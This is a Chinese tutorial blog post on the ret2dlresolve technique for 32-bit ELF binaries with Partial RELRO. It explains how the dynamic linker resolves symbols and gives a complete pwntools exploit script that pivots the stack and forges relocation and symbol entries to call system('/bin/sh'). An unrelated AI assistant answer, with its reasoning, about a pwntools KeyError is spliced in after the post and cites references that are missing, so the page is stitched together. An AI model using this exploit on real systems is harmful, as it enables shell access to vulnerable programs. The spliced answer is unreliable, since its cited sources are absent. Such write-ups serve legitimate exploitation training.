ret2dlresolve(2)

ret2dlresolve(2)

ret2dlresolve(1)中,关闭了Partial RELRO保护,因此能够对.dynamic进行修改,从而改变dynamic中dynstr的地址,通过伪造一个dynstr来实现将函数write链接到system函数
那么如果打开了Partial RELRO保护,将如何进行

代码还是之前的代码,通过如下方式进行编译

gcc -fno-stack-protector -m32 -z relro -z lazy -no-pie ../../main.c -o main_partial_relro_32

你也可以继续用关闭了Partial RELRO的程序,就当换个思路去执行system

dlresolve前后过程

在调用dl_runtime_resolve函数前,需要压入两个参数

  • reloc_arg,函数自己plt中push的内容,是该函数在.rel.plt的偏移
    在这里插入图片描述
  • link_map,公共plt表项,在plt开始push的参数
    在这里插入图片描述以setuf第一次调用为例
    在这里插入图片描述首先,第一个jmp会去判断函数是否已经有链接过,如果有就会到got表去执行,如果没有就向下执行
    push 0,就是传入dl_runtime_resolve的参数reloc_arg,接着跳转到plt开始处执行第二个push
    这里压入的就是参数link_map,压入的是一个地址
    在这里插入图片描述

通过link_map能够找到.dynamic的地址
在这里插入图片描述

这两个参数都可以控制,一是控制reloc_arg能够修改函数.rel.plt的位置执行自己伪造的值,二是控制link_map指向的地址,并在该地址处伪造数据,并将.dynstr的地址修改之后就和之前那篇文章一样了(第二种暂时还在测试中)

先来看修改reloc_arg的意义何在
还是上面的setbuf,他传入的reloc_arg是0,因此程序会在.rel.plt + 0处去寻找对应重定位表项
在这里插入图片描述得到两个值,第一个值是该函数got表地址,第二个值是.dynsym的偏移
通过定位到dynsym表项内容,能够找到这个函数的符号定义,也就是定位到.dynstr对应的位置。
在这里插入图片描述

关于这里的计算
1、根据reloc_arg定位到setbuf的重定位表0x8048330
setbuf重定位表项中804A00Ch, 107h这两个值,第二个0x107
0x107分两个部分,前一个字节也就是0111,应该是某种标志位,具体对应什么还不了解
后面两个字节00010000 -> 0x10就是在.dynsym中的偏移
2、之后根据偏移找到表项,其中有几个值,这里就看第一个的意义
offset aSetbuf - offset byte_8048278是对.dynstr中的偏移,0x33
3、通过偏移在.dynstr找到该函数的符号setbuf在这里插入图片描述

整体流程(来上大佬的图)
在这里插入图片描述

利用

到这里,目标就很明确了,修改reloc_arg指向自己定义的重定位表项,在重定位表项中修改动态符号表也就是.dynsym的偏移,使其能够指向自己定义的符号的地址

需要注意的是,要先进行栈迁移,如果直接在原栈上操作会出现很多莫名奇妙的问题,自己尝试不进行栈迁移,在测试修改动态符号表时,我输入的数据并没有到我期望的位置去,后来了解到是因为缓冲区大小不够的原因,导致后面写入的 数据跑到前面去了,所以还是要进行栈迁移。
至于迁移到那,就选一个可写,并且没被占用的位置就行

exp

from pwn import *
#context.log_level="debug"
context.arch="i386"
p = process("./main32")
rop = ROP("./main32")
elf = ELF("./main32")


p.recvline()

def debug():
	gdb.attach(p)
	pause()

offset = 92

rop.raw(offset*'a')
#栈迁移
base_addr = 0x0804a340
rop.read(0, base_addr, 100)
rop.migrate(base_addr)
p.sendline(rop.chain())

rop = ROP("./main32")

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr


write_reloc_addr = base_addr + 24
write_dynsym_addr = write_reloc_addr + 0x10
system_addr = write_dynsym_addr + 0x10
print(hex(dynsym))
print(hex(write_dynsym_addr))

write_reloc = flat([0x804A01C, (((write_dynsym_addr - dynsym) & 0xfff0) << 4) + 7])
#write_reloc = flat([0x804A01C, 0x607])
print(hex((((write_dynsym_addr - dynstr) & 0xfff0) << 4) + 7))
write_dynsym = flat([system_addr + 0x8 - dynstr, 0, 0, 0x12])
#write_dynsym = flat([0x4c, 0, 0, 0x12])
print("write_dynsym:" + hex(write_dynsym_addr))
print("system_addr:" + hex(system_addr))

rop.raw(plt0) #4
rop.raw(write_reloc_addr - rel_plt)
rop.raw(elf.sym['main']) 
rop.raw(system_addr)
rop.raw(1)
rop.raw(1)
rop.raw(write_reloc)
rop.raw('a' * 8)
rop.raw(write_dynsym)
print(system_addr - base_addr)
print(len(rop.chain()))
rop.raw('/bin/sh\x00')
rop.raw('system\x00')
p.sendline(rop.chain())

p.interactive()

<think>Hmm, the user is asking about a specific KeyError when using elf.plt['puts'] in binary exploitation. Let me piece this together from the provided references. First, looking at reference [1], it mentions that ret2libc attacks rely on dynamic linking mechanisms, and this error occurs when the puts symbol isn't properly resolved. The key insight here is that the program's Procedure Linkage Table (PLT) might not contain a 'puts' entry at all. Reference [2] and [3] show practical exploitation examples where puts_plt is successfully used, but reference [4] has that interesting payload using write_plt instead. That makes me think - maybe the vulnerable binary doesn't actually call puts() anywhere? If the code only uses write() (like in the fun.c example from [1]), the linker wouldn't create a PLT entry for puts. The user seems to be doing CTF/pwn challenges based on the XCTF reference. They're probably frustrated because typical ret2libc tutorials assume puts is present. The real issue is symbol visibility - if the binary never imports puts, elf.plt won't have it. Wait, reference [1] explicitly says: "when program doesn't leak puts or system". That's the direct cause! The solution path would be: check if puts is imported → if not, find alternative leak gadgets (maybe write like in [4]) → or force symbol resolution through ret2dlresolve as mentioned in the blog. The user might need confirmation that skipping puts is valid. They may feel stuck following tutorials that assume its presence. The deeper need is understanding how to adapt techniques when expected symbols are missing - a common CTF scenario. </think>使用 `elf.plt['puts']` 出现 **KeyError: 'puts'** 的根本原因是目标二进制文件的 **PLT 表未包含 `puts` 函数的动态链接入口**。以下是详细分析和解决方案: --- ### **原因分析** 1. **缺失 PLT 入口** - 动态链接的二进制文件只会为 **实际被调用的外部函数** 生成 PLT 入口。 - 若程序从未调用 `puts`(如引用[1]的 `fun.c` 仅使用 `read`/`write`),则 ELF 文件中不存在 `puts.plt` 项,导致 `elf.plt['puts']` 查询失败。 - *验证方法*: ```python from pwn import ELF elf = ELF("./target") print(".plt entries:", list(elf.plt)) # 检查输出是否包含 'puts' ``` 2. **符号表损坏或剥离** - 若二进制文件被剥离(`strip`)或符号表损坏,`pwntools` 无法解析符号名,即使 PLT 存在也会报错。 - *验证方法*: ```bash readelf -s ./target | grep puts # 检查符号表是否包含 puts ``` 3. **静态编译或非常规链接** - 静态编译的程序无 PLT/GOT 结构,直接报错。 - 某些保护机制(如 `-fno-plt`)会绕过 PLT 直接链接。 --- ### **解决方案** #### 1. **改用实际存在的函数** 根据代码逻辑替换为其他输出函数(如 `write`),参考引用[4]的 payload: ```python payload = padding + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) ``` *适用场景*:程序显式调用了 `write` 等替代函数。 #### 2. **手动计算 PLT 地址** 若已知 `puts` 的 PLT 偏移(如通过IDA分析): ```python puts_plt = elf.address + 0x1234 # 0x1234 替换为实际偏移 ``` *验证步骤*: - 用 IDA/Ghidra 打开二进制文件,查看 `.plt.sec` 或 `.plt` 段中 `puts` 的地址。 #### 3. **泄露 libc 基址后解析符号** 通过其他函数泄露 libc 基址,再计算 `puts` 的真实地址: ```python libc.address = leak_addr - libc.sym['write'] # 通过 write 泄露 system_addr = libc.sym['system'] ``` *步骤参考引用[2]*: - 先泄露 `write_got` → 计算 libc 基址 → 定位任意 libc 函数。 #### 4. **使用 ret2dlresolve 攻击** 当所有输出函数均不可用时(引用[1]的核心思路): - 伪造 ELF 的 Relocation 结构(`.dynsym`, `.dynstr`),强制动态链接器解析 `puts`。 - 需构造复杂 payload 控制 `_dl_runtime_resolve` 的参数。 *适用场景*:无输出函数、无 libc 泄露的极端情况。 --- ### **验证流程建议** 1. **检查二进制依赖**: ```bash ldd ./target # 确认动态链接 file ./target # 检查是否剥离("stripped") ``` 2. **分析函数调用**: ```bash objdump -D ./target | grep puts # 搜索是否调用 puts ``` 3. **动态调试**: ```bash gdb ./target (gdb) info functions @plt # 查看所有 PLT 项 ``` > **总结**:优先选择 **方案1(改用 `write`)** 或 **方案3(libc 泄露)**,90% 的 CTF 题目可通过二者解决。极端情况再考虑 ret2dlresolve(方案4),需深入理解 ELF 动态链接机制[^1][^4]。 --- ### 相关问题 1. 如何通过 `write` 函数泄露 libc 基址? 2. ret2dlresolve 攻击中需要伪造哪些 ELF 数据结构? 3. 静态编译的二进制文件如何进行 ROP 攻击? 4. 如何修复剥离符号表的 ELF 文件以辅助分析?
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值